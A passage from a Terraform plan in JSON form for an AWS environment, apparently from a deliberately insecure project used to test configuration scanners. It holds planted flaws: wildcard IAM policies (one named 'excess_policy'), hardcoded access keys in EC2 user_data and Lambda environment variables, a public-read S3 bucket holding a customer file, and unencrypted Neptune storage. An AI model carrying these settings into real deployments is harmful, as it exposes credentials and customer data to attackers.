\"aws_iam_role.iam_for_eks\"\n              ]\n            },\n            \"vpc_config\": [\n              {\n                \"endpoint_private_access\": {\n                  \"constant_value\": true\n                },\n                \"subnet_ids\": {\n                  \"references\": [\n                    \"aws_subnet.eks_subnet1\",\n                    \"aws_subnet.eks_subnet2\"\n                  ]\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0,\n          \"depends_on\": [\n            \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n            \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\"\n          ]\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain\",\n          \"name\": \"monitoring-framework\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cluster_config\": [\n              {\n                \"dedicated_master_count\": {\n                  \"constant_value\": 1\n                },\n                \"dedicated_master_enabled\": {\n                  \"constant_value\": false\n                },\n                \"dedicated_master_type\": {\n                  \"constant_value\": \"m4.large.elasticsearch\"\n                },\n                \"instance_count\": {\n                  \"constant_value\": 1\n                },\n                \"instance_type\": {\n                  \"constant_value\": \"t2.small.elasticsearch\"\n                }\n              }\n            ],\n            \"domain_name\": {\n              \"references\": [\n                \"var.environment\"\n              ]\n            },\n            \"ebs_options\": [\n              {\n                \"ebs_enabled\": {\n                  \"constant_value\": true\n                },\n                \"volume_size\": {\n                  \"constant_value\": 30\n                }\n              }\n            ],\n            \"elasticsearch_version\": {\n              \"constant_value\": \"2.3\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain_policy\",\n          \"name\": \"monitoring-framework-policy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"access_policies\": {\n              \"references\": [\n                \"data.aws_iam_policy_document.policy\"\n              ]\n            },\n            \"domain_name\": {\n              \"references\": [\n                \"aws_elasticsearch_domain.monitoring-framework\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_elb.weblb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elb\",\n          \"name\": \"weblb\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"connection_draining\": {\n              \"constant_value\": true\n            },\n            \"connection_draining_timeout\": {\n              \"constant_value\": 400\n            },\n            \"cross_zone_load_balancing\": {\n              \"constant_value\": true\n            },\n            \"health_check\": [\n              {\n                \"healthy_threshold\": {\n                  \"constant_value\": 2\n                },\n                \"interval\": {\n                  \"constant_value\": 30\n                },\n                \"target\": {\n                  \"constant_value\": \"HTTP:8000/\"\n                },\n                \"timeout\": {\n                  \"constant_value\": 3\n                },\n                \"unhealthy_threshold\": {\n                  \"constant_value\": 2\n                }\n              }\n            ],\n            \"idle_timeout\": {\n              \"constant_value\": 400\n            },\n            \"instances\": {\n              \"references\": [\n                \"aws_instance.web_host\"\n              ]\n            },\n            \"listener\": [\n              {\n                \"instance_port\": {\n                  \"constant_value\": 8000\n                },\n                \"instance_protocol\": {\n                  \"constant_value\": \"http\"\n                },\n                \"lb_port\": {\n                  \"constant_value\": 80\n                },\n                \"lb_protocol\": {\n                  \"constant_value\": \"http\"\n                }\n              }\n            ],\n            \"name\": {\n              \"constant_value\": \"weblb-terraform-elb\"\n            },\n            \"security_groups\": {\n              \"references\": [\n                \"aws_security_group.web-node\"\n              ]\n            },\n            \"subnets\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"constant_value\": {\n                \"Name\": \"foobar-terraform-elb\"\n              }\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_flow_log.vpcflowlogs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_flow_log\",\n          \"name\": \"vpcflowlogs\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"log_destination\": {\n              \"references\": [\n                \"aws_s3_bucket.flowbucket\"\n              ]\n            },\n            \"log_destination_type\": {\n              \"constant_value\": \"s3\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"traffic_type\": {\n              \"constant_value\": \"ALL\"\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_access_key.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_access_key\",\n          \"name\": \"user\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"user\": {\n              \"references\": [\n                \"aws_iam_user.user\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_instance_profile.ec2profile\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_instance_profile\",\n          \"name\": \"ec2profile\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.ec2role\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role.ec2role\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"ec2role\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"assume_role_policy\": {\n              \"constant_value\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"path\": {\n              \"constant_value\": \"/\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_eks\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_eks\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"assume_role_policy\": {\n              \"references\": [\n                \"data.aws_iam_policy_document.iam_policy_eks\"\n              ]\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_lambda\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"assume_role_policy\": {\n              \"constant_value\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role_policy.ec2policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy\",\n          \"name\": \"ec2policy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"policy\": {\n              \"constant_value\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.ec2role\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"policy_arn\": {\n              \"constant_value\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.iam_for_eks\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"policy_arn\": {\n              \"constant_value\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.iam_for_eks\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_user.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user\",\n          \"name\": \"user\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_user_policy.userpolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user_policy\",\n          \"name\": \"userpolicy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"excess_policy\"\n            },\n            \"policy\": {\n              \"constant_value\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n            },\n            \"user\": {\n              \"references\": [\n                \"aws_iam_user.user\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_instance.db_app\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"db_app\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"ami\": {\n              \"references\": [\n                \"data.aws_ami.amazon-linux-2\"\n              ]\n            },\n            \"iam_instance_profile\": {\n              \"references\": [\n                \"aws_iam_instance_profile.ec2profile\"\n              ]\n            },\n            \"instance_type\": {\n              \"constant_value\": \"t2.nano\"\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"user_data\": {\n              \"references\": [\n                \"aws_db_instance.default\",\n                \"aws_db_instance.default\",\n                \"var.password\",\n                \"aws_db_instance.default\"\n              ]\n            },\n            \"vpc_security_group_ids\": {\n              \"references\": [\n                \"aws_security_group.web-node\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_instance.web_host\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"web_host\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"ami\": {\n              \"references\": [\n                \"var.ami\"\n              ]\n            },\n            \"instance_type\": {\n              \"constant_value\": \"t2.nano\"\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"user_data\": {\n              \"constant_value\": \"#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMAAA\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"\\u003ch1\\u003eDeployed via Terraform\\u003c/h1\\u003e\\\" | sudo tee /var/www/html/index.html\\n\"\n            },\n            \"vpc_security_group_ids\": {\n              \"references\": [\n                \"aws_security_group.web-node\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_internet_gateway.web_igw\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_internet_gateway\",\n          \"name\": \"web_igw\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_kms_alias.logs_key_alias\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_alias\",\n          \"name\": \"logs_key_alias\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"target_key_id\": {\n              \"references\": [\n                \"aws_kms_key.logs_key\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_kms_key.logs_key\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_key\",\n          \"name\": \"logs_key\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"deletion_window_in_days\": {\n              \"constant_value\": 7\n            },\n            \"description\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_lambda_function.analysis_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lambda_function\",\n          \"name\": \"analysis_lambda\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"environment\": [\n              {\n                \"variables\": {\n                  \"constant_value\": {\n                    \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                    \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n                  }\n                }\n              }\n            ],\n            \"filename\": {\n              \"constant_value\": \"resources/lambda_function_payload.zip\"\n            },\n            \"function_name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"handler\": {\n              \"constant_value\": \"exports.test\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.iam_for_lambda\"\n              ]\n            },\n            \"runtime\": {\n              \"constant_value\": \"nodejs12.x\"\n            },\n            \"source_code_hash\": {}\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_neptune_cluster.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"apply_immediately\": {\n              \"constant_value\": true\n            },\n            \"backup_retention_period\": {\n              \"constant_value\": 5\n            },\n            \"cluster_identifier\": {\n              \"references\": [\n                \"var.neptune-dbname\"\n              ]\n            },\n            \"engine\": {\n              \"constant_value\": \"neptune\"\n            },\n            \"iam_database_authentication_enabled\": {\n              \"constant_value\": false\n            },\n            \"preferred_backup_window\": {\n              \"constant_value\": \"07:00-09:00\"\n            },\n            \"skip_final_snapshot\": {\n              \"constant_value\": true\n            },\n            \"storage_encrypted\": {\n              \"constant_value\": false\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_neptune_cluster_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_instance\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"apply_immediately\": {\n              \"constant_value\": true\n            },\n            \"cluster_identifier\": {\n              \"references\": [\n                \"aws_neptune_cluster.default\"\n              ]\n            },\n            \"engine\": {\n              \"constant_value\": \"neptune\"\n            },\n            \"instance_class\": {\n              \"constant_value\": \"db.t3.medium\"\n            }\n          },\n          \"schema_version\": 0,\n          \"count_expression\": {\n            \"constant_value\": 1\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster_snapshot.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_snapshot\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"db_cluster_identifier\": {\n              \"references\": [\n                \"aws_neptune_cluster.default\"\n              ]\n            },\n            \"db_cluster_snapshot_identifier\": {\n              \"constant_value\": \"resourcetestsnapshot1\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_network_interface.web-eni\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_network_interface\",\n          \"name\": \"web-eni\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"private_ips\": {\n              \"constant_value\": [\n                \"172.16.10.100\"\n              ]\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route.public_internet_gateway\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route\",\n          \"name\": \"public_internet_gateway\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"destination_cidr_block\": {\n              \"constant_value\": \"0.0.0.0/0\"\n            },\n            \"gateway_id\": {\n              \"references\": [\n                \"aws_internet_gateway.web_igw\"\n              ]\n            },\n            \"route_table_id\": {\n              \"references\": [\n                \"aws_route_table.web_rtb\"\n              ]\n            },\n            \"timeouts\": {\n              \"create\": {\n                \"constant_value\": \"5m\"\n              }\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route_table.web_rtb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table\",\n          \"name\": \"web_rtb\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"route_table_id\": {\n              \"references\": [\n                \"aws_route_table.web_rtb\"\n              ]\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"route_table_id\": {\n              \"references\": [\n                \"aws_route_table.web_rtb\"\n              ]\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet2\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.data\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"public-read\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.data_science\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data_science\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"private\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"logging\": [\n              {\n                \"target_bucket\": {\n                  \"references\": [\n                    \"aws_s3_bucket.logs\"\n                  ]\n                },\n                \"target_prefix\": {\n                  \"constant_value\": \"log/\"\n                }\n              }\n            ],\n            \"versioning\": [\n              {\n                \"enabled\": {\n                  \"constant_value\": true\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.financials\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"financials\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"private\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.flowbucket\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"flowbucket\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.logs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"logs\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"log-delivery-write\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"server_side_encryption_configuration\": [\n              {\n                \"rule\": [\n                  {\n                    \"apply_server_side_encryption_by_default\": [\n                      {\n                        \"kms_master_key_id\": {\n                          \"references\": [\n                            \"aws_kms_key.logs_key\"\n                          ]\n                        },\n                        \"sse_algorithm\": {\n                          \"constant_value\": \"aws:kms\"\n                        }\n                      }\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"versioning\": [\n              {\n                \"enabled\": {\n                  \"constant_value\": true\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.operations\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"operations\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"private\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"versioning\": [\n              {\n                \"enabled\": {\n                  \"constant_value\": true\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket_object.data_object\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_object\",\n          \"name\": \"data_object\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"bucket\": {\n              \"references\": [\n                \"aws_s3_bucket.data\"\n              ]\n            },\n            \"key\": {\n              \"constant_value\": \"customer-master.xlsx\"\n            },\n            \"source\": {\n              \"constant_value\": \"resources/customer-master.xlsx\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_security_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_security_group.web-node\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"web-node\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1,\n          \"depends_on\": [\n            \"aws_vpc.web_vpc\"\n          ]\n        },\n        {\n          \"address\": \"aws_security_group_rule.egress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"egress\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_blocks\": {\n              \"constant_value\": [\n                \"0.0.0.0/0\"\n              ]\n            },\n            \"from_port\": {\n              \"constant_value\": 0\n            },\n            \"protocol\": {\n              \"constant_value\": \"-1\"\n            },\n            \"security_group_id\": {\n              \"references\": [\n                \"aws_security_group.default\"\n              ]\n            },\n            \"to_port\": {\n              \"constant_value\": 0\n            },\n            \"type\": {\n              \"constant_value\": \"egress\"\n            }\n          },\n          \"schema_version\": 2\n        },\n        {\n          \"address\": \"aws_security_group_rule.ingress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"ingress\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_blocks\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            },\n            \"from_port\": {\n              \"constant_value\": \"3306\"\n            },\n            \"protocol\": {\n              \"constant_value\": \"tcp\"\n            },\n            \"security_group_id\": {\n              \"references\": [\n                \"aws_security_group.default\"\n              ]\n            },\n            \"to_port\": {\n              \"constant_value\": \"3306\"\n            },\n            \"type\": {\n              \"constant_value\": \"ingress\"\n            }\n          },\n          \"schema_version\": 2\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet1\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet1\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone\"\n              ]\n            },\n            \"cidr_block\": {\n              \"constant_value\": \"10.10.10.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.eks_name\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.eks_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone2\"\n              ]\n            },\n            \"cidr_block\": {\n              \"constant_value\": \"10.10.11.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.eks_name\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.eks_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone\"\n              ]\n            },\n            \"cidr_block\": {\n              \"constant_value\": \"172.16.10.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone2\"\n              ]\n            },\n            